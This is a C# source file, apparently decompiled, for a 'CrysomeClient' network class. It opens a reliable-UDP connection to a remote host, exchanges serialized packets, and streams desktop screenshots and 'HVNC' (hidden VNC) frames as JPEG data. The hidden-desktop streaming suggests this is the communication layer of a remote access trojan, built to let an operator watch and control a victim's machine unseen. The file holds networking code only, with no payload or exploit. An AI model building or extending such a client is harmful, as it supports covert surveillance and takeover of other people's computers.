using System; using System.Collections.Concurrent; using System.IO; using System.Net; using System.Threading; using Crysome.Common.Network.Packets; namespace Crysome.Common.Network; public class CrysomeClient { private RudpChannel _rudp; private CancellationTokenSource _readCts = new CancellationTokenSource(); private readonly BlockingCollection _inQueue = new BlockingCollection(2048); private static int _clientIdGen = new Random().Next(1, 100000); public bool IsConnected { get { if (_rudp != null && _rudp.IsAlive) { return !_readCts.IsCancellationRequested; } return false; } } public IPEndPoint RemoteAddress => _rudp?.Remote; public IPEndPoint LocalAddress => null; public int Port => 0; public double RttMs => _rudp?.RttMs ?? 0.0; public double LossRate => _rudp?.LossRate ?? 0.0; public long BytesSent => _rudp?.BytesSent ?? 0; public long BytesRecv => _rudp?.BytesRecv ?? 0; public uint UdpSessionToken { get; set; } public IPEndPoint UdpRemoteEndPoint { get; set; } public uint UdpLastFrameSeq { get; set; } public event EventHandler PacketReceived; public event EventHandler PacketSent; public void Connect(IPAddress address, int port) { IPEndPoint remote = new IPEndPoint(address, port); RudpChannel rudpChannel = new RudpChannel(NextSessionId(), remote); rudpChannel.Start(); AttachChannel(rudpChannel); Thread.Sleep(50); } private static uint NextSessionId() { uint num = (uint)Interlocked.Increment(ref _clientIdGen); if (num != 0) { return num; } return (uint)Interlocked.Increment(ref _clientIdGen); } private void AttachChannel(RudpChannel channel) { _rudp = channel; _rudp.ReliableReceived += OnReliableData; _rudp.UnreliableFrameReceived += OnUnreliableControl; _rudp.Disconnected += OnDisconnected; } public RudpChannel GetRudpChannel() { return _rudp; } public void SendPacket(IPacket packet) { byte[] payload = PacketSerializer.Serialize(packet); _rudp.SendReliable(payload); this.PacketSent?.Invoke(this, EventArgs.Empty); } public void SendPacketUnreliable(IPacket packet) { byte[] payload = PacketSerializer.Serialize(packet); _rudp.SendUnreliable(0, payload); this.PacketSent?.Invoke(this, EventArgs.Empty); } public void SendDesktopScreenFrame(byte[] jpegData) { if (jpegData != null && jpegData.Length != 0) { _rudp.SendUnreliable(36, jpegData); this.PacketSent?.Invoke(this, EventArgs.Empty); } } public void SendHvncFrame(byte[] jpegData) { if (jpegData != null && jpegData.Length != 0) { _rudp.SendUnreliable(46, jpegData); this.PacketSent?.Invoke(this, EventArgs.Empty); } } public IPacket ReadPacket() { try { IPacket result = _inQueue.Take(_readCts.Token); this.PacketReceived?.Invoke(this, EventArgs.Empty); return result; } catch (OperationCanceledException) { throw new IOException("Connection closed"); } } public void Disconnect() { _readCts.Cancel(); try { _rudp?.SendFin(); } catch { } try { _rudp?.Dispose(); } catch { } } private void OnReliableData(byte[] payload) { try { IPacket packet = PacketSerializer.Deserialize(payload); if (packet != null && !_inQueue.IsAddingCompleted) { _inQueue.TryAdd(packet, 100); } } catch { } } private void OnUnreliableControl(byte typeId, byte[] data) { if (typeId != 0 || data == null) { return; } try { IPacket packet = PacketSerializer.Deserialize(data); if (packet != null && !_inQueue.IsAddingCompleted) { _inQueue.TryAdd(packet, 20); } } catch { } } private void OnDisconnected() { _readCts.Cancel(); _inQueue.CompleteAdding(); } }